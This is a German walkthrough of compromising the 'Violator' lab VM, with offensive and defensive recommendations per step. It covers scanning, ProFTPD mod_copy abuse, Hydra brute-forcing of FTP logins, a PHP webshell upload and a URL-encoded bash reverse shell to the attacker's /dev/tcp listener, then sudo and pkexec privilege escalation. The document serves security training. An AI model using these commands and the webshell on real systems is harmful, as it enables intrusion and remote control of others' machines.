Analyse: Ein ARP-Scan wird im lokalen Netzwerk ausgeführt, um aktive Hosts zu entdecken.
Bewertung: Der Scan identifiziert die IP-Adresse `192.168.2.156` des Zielsystems. Die MAC-Adresse `08:00:27:d5:67:f7` weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die gefundene IP als Ziel für weitere Scans notieren.
Empfehlung (Defensiv): Standard-Netzwerküberwachung implementieren, um Scanning-Aktivitäten zu erkennen.
ARP-Scan 192.168.2.156 08:00:27:d5:67:f7 PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.156` wird dem Hostnamen `violator.vln` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten.
Empfehlung (Offensiv): Sinnvolle Maßnahme zur Verbesserung der Lesbarkeit von Befehlen und Berichten.
Empfehlung (Defensiv): Hat keine direkten Auswirkungen auf die Sicherheit des Zielsystems.
/etc/hosts 192.168.2.156 violator.vln
Analyse: Ein Nmap-Scan wird mit SYN-Scan (`-sS`), Standardskripten (`-sC`), Versionserkennung (`-sV`), aggressiven Optionen (`-A`), allen Ports (`-p-`), ohne Ping-Scan (`-Pn`) und hoher Rate (`--min-rate 5000`) durchgeführt. Die Ausgabe wird direkt nach offenen Ports gefiltert.
Bewertung: Der gefilterte Scan identifiziert schnell zwei offene Ports: 21 (FTP - ProFTPD 1.3.5rc3) und 80 (HTTP - Apache 2.4.7). Beide Dienste laufen auf relativ alten Versionen.
Empfehlung (Offensiv): Die Dienste auf Port 21 und 80 genauer untersuchen, insbesondere auf bekannte Schwachstellen der identifizierten Versionen.
Empfehlung (Defensiv): Nicht benötigte Dienste schließen. Software (ProFTPD, Apache) dringend aktualisieren. IDS/IPS zur Erkennung von High-Rate-Scans einsetzen.
21/tcp open ftp ProFTPD 1.3.5rc3 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Analyse: Der vollständige Nmap-Scan wird angezeigt.
Bewertung: Bestätigt die offenen Ports 21 (ProFTPD 1.3.5rc3) und 80 (Apache 2.4.7 auf Ubuntu). ProFTPD 1.3.5rc3 ist bekannt für kritische Schwachstellen (insbesondere CVE-2015-3306, mod_copy). Apache 2.4.7 ist ebenfalls sehr alt und anfällig für diverse bekannte Lücken. Die Webseite auf Port 80 hat einen spezifischen Titel ("I Say... I say... I say Boy! You pumpin' for oil or somethin'...?"), der auf ein Thema (Foghorn Leghorn) hindeutet. OS-Erkennung deutet auf Linux 3.x/4.x.
Empfehlung (Offensiv): Die ProFTPD-Version 1.3.5rc3 ist das primäre Ziel. Die `mod_copy`-Schwachstelle (CVE-2015-3306) sollte untersucht und ausgenutzt werden. Den Webserver als sekundäres Ziel betrachten.
Empfehlung (Defensiv): ProFTPD und Apache dringend aktualisieren oder durch sicherere Alternativen ersetzen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 21:32 CET Nmap scan report for violator.vln (192.168.2.156) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5rc3 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: I Say... I say... I say Boy! You pumpin' for oil or somethin'...? |_http-server-header: Apache/2.4.7 (Ubuntu) MAC Address: 08:00:27:D5:67:F7 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 0.14 ms violator.vln (192.168.2.156) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds
Analyse: Eine HEAD-Anfrage wird mittels `curl -Iv` an den Webserver auf Port 80 gesendet.
Bewertung: Die Antwort bestätigt den Apache 2.4.7 Server und liefert Standard-Header ohne besondere Auffälligkeiten. Der `Content-Length` ist klein (318 Bytes).
Empfehlung (Offensiv): Die Webseite im Browser ansehen und den Quellcode prüfen. Weiter mit Directory Brute-Forcing.
Empfehlung (Defensiv): Server-Tokens minimieren (`ServerTokens Prod` in Apache-Konfig).
* Trying 192.168.2.156:80... * Connected to 192.168.2.156 (192.168.2.156) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.156 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Mon, 30 Dec 2024 20:32:49 GMT < Server: Apache/2.4.7 (Ubuntu) < Last-Modified: Sun, 12 Jun 2016 17:26:10 GMT < ETag: "13e-53518115c6709" < Accept-Ranges: bytes < Content-Length: 318 < Vary: Accept-Encoding < Content-Type: text/html < * Connection #0 to host 192.168.2.156 left intact
Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto meldet die üblichen Findings für ältere Apache-Server: fehlende Sicherheitsheader, ETag-Leak, veraltete Version. Es findet auch die Standarddatei `/icons/README` und eine verdächtige `/#wp-config.php#`. Angesichts der Einfachheit der Seite und des Titels ist letzteres wahrscheinlich wieder eine Irreführung.
Empfehlung (Offensiv): Die Nikto-Ergebnisse deuten nicht auf spezifische Web-Schwachstellen hin, die über die veraltete Apache-Version hinausgehen. Fokus weiterhin auf ProFTPD.
Empfehlung (Defensiv): Apache aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen. Sicherstellen, dass keine Backup-Dateien im Webroot liegen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.156 + Target Hostname: 192.168.2.156 + Target Port: 80 + Start Time: 2024-12-30 21:32:48 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.7 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 13e, size: 53518115c6709, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2024-12-30 21:33:08 (GMT1) (20 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird für Directory/File Brute-Forcing gegen Port 80 eingesetzt.
Bewertung: Der Scan findet lediglich die `index.html`. Dies bestätigt, dass die Webseite sehr minimalistisch ist und keine offensichtlichen versteckten Pfade enthält.
Empfehlung (Offensiv): Die Web-Enumeration liefert keine brauchbaren Angriffsvektoren. Konzentration auf den FTP-Dienst.
Empfehlung (Defensiv): Nicht relevant, da keine sensiblen Pfade gefunden wurden.
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://192.168.2.156 [...] =============================================================== 2024/12/30 21:33:15 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.156/index.html (Status: 200) [Size: 318] =============================================================== 2024/12/30 21:34:30 Finished ===============================================
Analyse: Ein Nmap-Scan mit dem `--script vuln`-Parameter wird ausgeführt, um gezielt nach bekannten Schwachstellen in den erkannten Diensten zu suchen.
Bewertung: Dieser Scan liefert kritische Ergebnisse:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 21:53 CET Pre-scan script results: [...] Nmap scan report for violator.vln (192.168.2.156) Host is up (0.00015s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5rc3 | vulners: | cpe:/a:proftpd:proftpd:1.3.5rc3: | SAINT:FD1752E124A72FD3A26EEB9B315E8382 10.0 https://vulners.com/saint/SAINT:FD1752E124A72FD3A26EEB9B315E8382 *EXPLOIT* | SAINT:950EB68D408A40399926A4CCAD3CC62E 10.0 https://vulners.com/saint/SAINT:950EB68D408A40399926A4CCAD3CC62E *EXPLOIT* | SAINT:63FB77B9136D48259E4F0D4CDA35E957 10.0 https://vulners.com/saint/SAINT:63FB77B9136D48259E4F0D4CDA35E957 *EXPLOIT* | SAINT:1B08F4664C428B180EEC9617B41D9A2C 10.0 https://vulners.com/saint/SAINT:1B08F4664C428B180EEC9617B41D9A2C *EXPLOIT* | PRFTPD_MOD_CPY 10.0 https://vulners.com/canvas/PRFTPD_MOD_CPY *EXPLOIT* | PACKETSTORM:162777 10.0 https://vulners.com/packetstorm/PACKETSTORM:162777 *EXPLOIT* | PACKETSTORM:132218 10.0 https://vulners.com/packetstorm/PACKETSTORM:132218 *EXPLOIT* | PACKETSTORM:131567 10.0 https://vulners.com/packetstorm/PACKETSTORM:131567 *EXPLOIT* | PACKETSTORM:131555 10.0 https://vulners.com/packetstorm/PACKETSTORM:131555 *EXPLOIT* | PACKETSTORM:131505 10.0 https://vulners.com/packetstorm/PACKETSTORM:131505 *EXPLOIT* | EDB-ID:49908 10.0 https://vulners.com/exploitdb/EDB-ID:49908 *EXPLOIT* | EDB-ID:37262 10.0 https://vulners.com/exploitdb/EDB-ID:37262 *EXPLOIT* | CVE-2015-3306 10.0 https://vulners.com/cve/CVE-2015-3306 [...] 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-server-header: Apache/2.4.7 (Ubuntu) | vulners: | cpe:/a:apache:http_server:2.4.7: [...] MAC Address: 08:00:27:D5:67:F7 (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Unix TRACEROUTE [...] Nmap done: 1 IP address (1 host up) scanned in 354.58 seconds
Analyse: Der Quellcode der `index.html` wird angezeigt.
Bewertung: Enthält einen Foghorn Leghorn-Text, ein Bild (`foggie.jpg`) und einen Kommentar mit einem Link zur Wikipedia-Seite des Depeche Mode Albums "Violator". Dies verstärkt das Thema und könnte Hinweise auf Benutzernamen oder Passwörter geben (Albumtitel, Songtitel, Bandmitglieder).
Empfehlung (Offensiv): Das Thema "Depeche Mode / Violator" für die Erstellung von Wortlisten für Brute-Force-Angriffe nutzen.
Empfehlung (Defensiv): Kommentare und Inhalte, die Hinweise auf Themen geben könnten, vermeiden.
I Say... I say... I say Boy! You pumpin' for oil or somethin'...? I Say.. I say... I say boy! You're barkin up the wrong tree! img src="foggie.jpg" < -- https://en.wikipedia.org/wiki/Violator_(album) -->
Analyse: `searchsploit` wird verwendet, um lokal nach Exploits für "Apache 2.4.7" zu suchen.
Bewertung: Es werden mehrere Exploits gefunden, darunter auch für DoS und einen Race Condition in `mod_status`. Keiner sticht als direkter RCE-Exploit für eine Standardkonfiguration hervor.
Empfehlung (Offensiv): Bestätigt die Ergebnisse des Nmap-Vuln-Scans. Die Apache-Schwachstellen sind weniger vielversprechend als die ProFTPD-Lücke.
Empfehlung (Defensiv): Apache patchen.
------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------ --------------------------------- Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Source | php/remote/29316.py Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory | php/remote/40142.php Apache 2.4.7 mod_status - Scoreboard Handling Race Condition | linux/dos/34133.txt Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/42745.py Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service | multiple/dos/26710.txt Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overf | unix/remote/21671.c Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Ove | unix/remote/47080.c Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Ove | unix/remote/764.c Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Travers | linux/webapps/39642.txt Apache Tomcat < 5.5.17 - Remote Directory Listing | multiple/remote/2061.txt Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | unix/remote/14489.c Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | multiple/remote/6229.txt Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.88 - J | jsp/webapps/42966.py Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.88 - J | windows/webapps/42953.txt Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC) | linux/dos/36906.txt Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote | linux/remote/34.pl ------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Analyse: Metasploit (`msfconsole`) wird gestartet und nach dem Exploit für ProFTPD 1.3.5 gesucht (`search ProFTPD 1.3.5 Mod_Copy`). Das Modul `exploit/unix/ftp/proftpd_modcopy_exec` wird ausgewählt und ausgeführt.
Bewertung: Das Metasploit-Modul versucht, die `mod_copy`-Schwachstelle (CVE-2015-3306) auszunutzen. Diese erlaubt es einem Angreifer, beliebige Dateien zu kopieren. Das Modul versucht typischerweise, eine PHP-Datei mit einer Webshell oder einem Reverse-Shell-Payload in das Web-Verzeichnis zu kopieren. Die Ausführung des Moduls schlägt jedoch mehrfach fehl ("Failure copying to temporary payload file", "Exploit completed, but no session was created."). Die Versuche, Optionen (`TARGETURI`, `TMPPATH`, etc.) zurückzusetzen, ändern daran nichts.
Empfehlung (Offensiv): Da Metasploit scheitert, die Schwachstelle manuell ausnutzen. Die `SITE CPFR` und `SITE CPTO` Befehle direkt über einen FTP-Client verwenden, um Dateien zu kopieren.
Empfehlung (Defensiv): ProFTPD dringend aktualisieren.
msf6 > search ProFTPD 1.3.5 Mod_Copy Command Execution Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec msf6 > use 0 [*] No payload configured, defaulting to cmd/unix/reverse_netcat msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run [*] Started reverse TCP handler on 192.168.2.199:4444 [*] 192.168.2.156:80 - 192.168.2.156:21 - Connected to FTP server [*] 192.168.2.156:80 - 192.168.2.156:21 - Sending copy commands to FTP server [-] 192.168.2.156:80 - Exploit aborted due to failure: unknown: 192.168.2.156:21 - Failure copying to temporary payload file [*] Exploit completed, but no session was created. msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run [*] Started reverse TCP handler on 192.168.2.199:4444 [*] 192.168.2.156:80 - 192.168.2.156:21 - Connected to FTP server [*] 192.168.2.156:80 - 192.168.2.156:21 - Sending copy commands to FTP server [-] 192.168.2.156:80 - Exploit aborted due to failure: unknown: 192.168.2.156:21 - Failure copying to temporary payload file [*] Exploit completed, but no session was created. msf6 exploit(unix/ftp/proftpd_modcopy_exec) > unset TARGETURI Unsetting TARGETURI... [!] Variable "TARGETURI" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear TARGETURI msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear TARGETURI TARGETURI => msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear TMPPATH TMPPATH => msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear RPORT_FTP RPORT_FTP => msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear RPORT RPORT => msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
Analyse: Der Pentester wechselt zur manuellen Ausnutzung der `mod_copy`-Schwachstelle. Eine FTP-Verbindung wird aufgebaut (Login als `anonymous` scheitert). Dann werden die `SITE CPFR`- und `SITE CPTO`-Befehle verwendet.
Bewertung:
Connected to 192.168.2.156. 220 ProFTPD 1.3.5rc3 Server (Debian) [ffff:192.168.2.156] Name (192.168.2.156:ccat): anonymous 331 Password required for anonymous Password: 530 Login incorrect. ftp: Login failed
350 File or directory exists, ready for destination name
250 Copy successful
Analyse: Der Pentester navigiert im Browser zu `http://192.168.2.156/root/`, was das über FTP kopierte Root-Verzeichnis des Systems anzeigt.
Bewertung: Directory Indexing auf dem Apache-Server erlaubt das bequeme Durchsuchen des exponierten Dateisystems.
Empfehlung (Offensiv): Nach sensiblen Dateien suchen, insbesondere `/etc/passwd` und `/etc/shadow`.
Empfehlung (Defensiv): Directory Indexing deaktivieren. Die ProFTPD-Schwachstelle beheben.
http://192.168.2.156/root/ Index of /root [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [DIR] bin/ 2016-06-06 21:54 - [DIR] boot/ 2016-06-14 19:43 - [DIR] dev/ 2024-12-30 20:31 - [DIR] etc/ 2024-12-30 20:31 - [DIR] home/ 2016-06-06 22:07 - [ ] initrd.img 2016-06-14 19:42 19M [DIR] lib/ 2016-06-06 21:30 - [DIR] lib64/ 2016-06-06 21:30 - [DIR] media/ 2016-06-01 15:30 - [DIR] mnt/ 2014-04-10 23:12 - [DIR] opt/ 2015-08-05 06:11 - [DIR] proc/ 2024-12-30 20:31 - [DIR] run/ 2024-12-30 20:31 - [DIR] sbin/ 2016-06-14 19:49 - [DIR] srv/ 2016-06-01 15:45 - [DIR] sys/ 2024-12-30 20:31 - [DIR] tmp/ 2024-12-30 21:45 - [DIR] usr/ 2016-06-01 15:30 - [DIR] var/ 2016-06-06 20:43 - [ ] vmlinuz 2016-06-09 00:32 5.6M Apache/2.4.7 (Ubuntu) Server at 192.168.2.156 Port 80
Analyse: Der Inhalt der Datei `/etc/passwd` wird über den Webserver abgerufen (`http://192.168.2.156/root/etc/passwd`).
Bewertung: Die Datei listet die Benutzer des Systems auf. Interessant sind die Benutzer mit Shell-Zugriff (`/bin/bash`): `root`, `dg` (Dave Gahan), `mg` (Martin Gore), `af` (Andrew Fletcher), `aw` (Alan Wilder). Die Namen deuten klar auf das Depeche Mode-Thema hin.
Empfehlung (Offensiv): Die Benutzernamen `dg`, `mg`, `af`, `aw` als Ziele für Passwort-Brute-Force-Angriffe (z.B. gegen FTP) verwenden. Eine themenbezogene Wortliste (Depeche Mode Songs, Alben, etc.) erstellen.
Empfehlung (Defensiv): Benutzernamen sollten nicht leicht erratbar oder themenbezogen sein. Sicherstellen, dass `/etc/passwd` nicht über Webserver oder andere Dienste exponiert wird.
http://192.168.2.156/root/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false landscape:x:103:109::/var/lib/landscape:/bin/false dg:x:1000:1000:Dave Gahan,,,:/home/dg:/bin/bash proftpd:x:104:65534::/var/run/proftpd:/bin/false ftp:x:105:65534::/srv/ftp:/bin/false mg:x:1001:1001:Martin Gore:/home/mg:/bin/bash af:x:1002:1002:Andrew Fletcher:/home/af:/bin/bash aw:x:1003:1003:Alan Wilder:/home/aw:/bin/bash
Analyse: Eine themenbezogene Passwortliste wird erstellt (basierend auf Depeche Mode Songtiteln: `policyoftruth`, `bluedress`, `enjoythesilence`). Eine Benutzerliste (`users.txt`) wird mit den Namen `dg`, `af`, `mg` erstellt.
Bewertung: Vorbereitung für einen gezielten Brute-Force-Angriff auf den FTP-Dienst.
Empfehlung (Offensiv): Hydra oder ein ähnliches Tool mit diesen Listen verwenden.
Empfehlung (Defensiv): Passwörter sollten keinen Bezug zum Systemthema oder leicht erratbaren Mustern haben.
liste bauen für brute force policyoftruth bluedress enjoythesilence
Analyse: Hydra wird eingesetzt, um die erstellten Benutzer- (`users.txt`) und Passwortlisten (`text.txt`, enthält die Songtitel) gegen den FTP-Dienst zu testen.
Bewertung: Hydra ist erfolgreich und findet gültige Anmeldedaten für alle drei Benutzer:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-30 23:12:48 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, X login tries [...], ~X tries per task [DATA] attacking ftp://192.168.2.156:21/ [21][ftp] host: 192.168.2.156 login: dg password: policyoftruth [21][ftp] host: 192.168.2.156 login: af password: enjoythesilence [21][ftp] host: 192.168.2.156 login: mg password: bluedress [STATUS] attack finished found 3 valid logins [...] Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at [...]
Analyse: Login per FTP als Benutzer `dg` mit dem Passwort `policyoftruth`. Es wird versucht, eine PHP-Reverse-Shell (`rev.php`) hochzuladen.
Bewertung: Der Upload ins Home-Verzeichnis (`/home/dg`) scheitert mit "No space left on device". Der Versuch, ins Web-Verzeichnis `/var/www/` zu wechseln und dort hochzuladen, scheitert mit "Permission denied". Schließlich wird ins Unterverzeichnis `/var/www/html` gewechselt (das lt. `ls -la` die Rechte `drwxrwxrwx` hat, also weltweit beschreibbar ist!) und der Upload von `rev.php` gelingt.
Empfehlung (Offensiv): Die hochgeladene `rev.php` über den Webserver aufrufen (`http://violator.vln/rev.php`), um Code auszuführen oder eine Reverse Shell zu erhalten.
Empfehlung (Defensiv): Web-Verzeichnisse niemals weltweit beschreibbar machen (`chmod 777` ist fast immer falsch). Berechtigungen restriktiv setzen (z.B. 755 für Verzeichnisse, 644 für Dateien). Die "No space"-Meldung sollte untersucht werden (Quota, volles Dateisystem?).
Connected to 192.168.2.156.
220 ProFTPD 1.3.5rc3 Server (Debian) [ffff:192.168.2.156]
Name (192.168.2.156:ccat): dg
331 Password required for dg
Password: policyoftruth
230 User dg logged in
Remote system type is UNIX.
Using binary mode to transfer files.
[...]
local: rev.php remote: rev.php 229 Entering Extended Passive Mode (|||40471|) 150 Opening BINARY mode data connection for rev.php 100% |*| 31 864.95 KiB/s 00:00 ETA 452 Transfer aborted. No space left on device 31 bytes sent in 00:00 (77.42 KiB/s)
250 CWD command successful
local: rev.php remote: rev.php 229 Entering Extended Passive Mode (|||8524|) 550 rev.php: Permission denied
229 Entering Extended Passive Mode (|||14903|) 150 Opening ASCII mode data connection for file list drwxr-xr-x 3 root root 4096 Jun 6 2016 . drwxr-xr-x 13 root root 4096 Jun 6 2016 .. drwxrwxrwx 2 www-data www-data 4096 Dec 30 21:52 html <-- World Writable! 226 Transfer complete
250 CWD command successful
local: rev.php remote: rev.php 229 Entering Extended Passive Mode (|||48582|) 150 Opening BINARY mode data connection for rev.php 100% |*| 31 1.55 MiB/s 00:00 ETA 226 Transfer complete 31 bytes sent in 00:00 (62.41 KiB/s)
229 Entering Extended Passive Mode (|||25211|) 150 Opening ASCII mode data connection for file list drwxrwxrwx 2 www-data www-data 4096 Dec 30 22:33 . drwxr-xr-x 3 root root 4096 Jun 6 2016 .. -rw-rw-r-- 1 dg dg 51256 Jun 6 2016 foggie.jpg -rw-rw-r-- 1 dg dg 318 Jun 12 2016 index.html -rw-r--r-- 1 dg dg 31 Dec 30 22:33 rev.php 226 Transfer complete
Analyse: Die hochgeladene Datei `rev.php` wird über den Browser aufgerufen und der Parameter `cmd=id` übergeben. (Der Hostname im Beispiel `192.168.2.157` ist wahrscheinlich ein Tippfehler und sollte `192.168.2.156` sein).
Bewertung: Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass die PHP-Datei erfolgreich ausgeführt wird und Befehle im Kontext des Webserver-Benutzers `www-data` entgegennimmt. Dies ist eine funktionierende Webshell.
Empfehlung (Offensiv): Die Webshell nutzen, um eine Reverse Shell zu bekommen oder weitere Enumeration durchzuführen.
Empfehlung (Defensiv): PHP-Ausführung in Upload-Verzeichnissen oder weltweit beschreibbaren Verzeichnissen verhindern. Dateisystemüberwachung zur Erkennung verdächtiger Dateien.
http://192.168.2.156/rev.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Anschließend wird über die Webshell ein Bash-Reverse-Shell-Befehl (URL-kodiert) ausgeführt, der eine Verbindung zum Listener herstellt.
Bewertung: Die Verbindung wird erfolgreich aufgebaut (`connect to [...] from [...]`), und der Angreifer erhält eine interaktive Shell als Benutzer `www-data` auf dem Zielsystem.
Empfehlung (Offensiv): Die `www-data`-Shell zur weiteren Enumeration und Privilegieneskalation verwenden.
Empfehlung (Defensiv): Egress-Filtering (Blockieren ausgehender Verbindungen zu unbekannten Ports/IPs). Überwachung auf verdächtige Prozesse und Netzwerkverbindungen.
listening on [any] 4444 ...
aufruf shell: http://192.168.2.156/rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.156] 33108 bash: cannot set terminal process group (1008): Inappropriate ioctl for device bash: no job control in this shell
Analyse: Von der `www-data`-Shell wird versucht, mit `su dg` und dem bekannten Passwort `policyoftruth` zum Benutzer `dg` zu wechseln.
Bewertung: Der Wechsel ist erfolgreich. Dies hebt die Privilegien von `www-data` auf die des Benutzers `dg` an.
Empfehlung (Offensiv): Nun als `dg` weiter nach PE-Vektoren suchen, insbesondere die `sudo`-Rechte prüfen.
Empfehlung (Defensiv): Least Privilege für Dienstkonten wie `www-data` beibehalten. Starke Passwörter für alle Benutzer.
Password: policyoftruth
Analyse: Als Benutzer `dg` wird `sudo -l` ausgeführt.
Bewertung: Die Ausgabe zeigt, dass `dg` den Befehl `/home/dg/bd/sbin/proftpd` als `ALL` (also als root) ohne Passwort (`NPASSWD`) ausführen darf. Dies ist ein klarer und sehr gefährlicher PE-Vektor. Da `dg` Eigentümer seines Home-Verzeichnisses ist, kann er die `proftpd`-Datei unter `/home/dg/bd/sbin/` durch ein beliebiges Skript (z.B. `/bin/bash`) ersetzen und dieses dann mittels `sudo` als Root ausführen.
Empfehlung (Offensiv): Den Pfad `/home/dg/bd/sbin/proftpd` mit `/bin/bash` überschreiben oder einen Symlink darauf erstellen und dann `sudo /home/dg/bd/sbin/proftpd` ausführen, um eine Root-Shell zu erhalten. *Hinweis: Der Bericht folgt diesem Weg nicht, sondern nutzt `pkexec`.*
Empfehlung (Defensiv): Niemals `sudo`-Regeln erstellen, die auf Dateien in Benutzer-Home-Verzeichnissen zeigen! Pfade in `sudoers` sollten immer absolut sein und auf Systembinaries zeigen, deren Integrität sichergestellt ist. Die `NOPASSWD`-Option sparsam und nur für sehr spezifische, ungefährliche Befehle verwenden.
Matching Defaults entries for dg on violator: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User dg may run the following commands on violator: (ALL) NPASSWD: /home/dg/bd/sbin/proftpd
Analyse: Eine Suche nach SUID-Dateien wird erneut durchgeführt.
Bewertung: Die Liste zeigt wieder Standard-SUID-Binaries, darunter auch `/usr/bin/pkexec`. Obwohl der `sudo`-Vektor existiert, entscheidet sich der Pentester hier (oder im Originalbericht) anscheinend, `pkexec` zu nutzen.
Empfehlung (Offensiv): `pkexec /bin/sh` ausführen. Da `sudo -l` bereits einen einfacheren Weg gezeigt hat, ist dieser Schritt eigentlich unnötig, wird aber laut Berichtstext verfolgt.
Empfehlung (Defensiv): Unnötige SUID-Bits entfernen. Polkit patchen (gegen PwnKit).
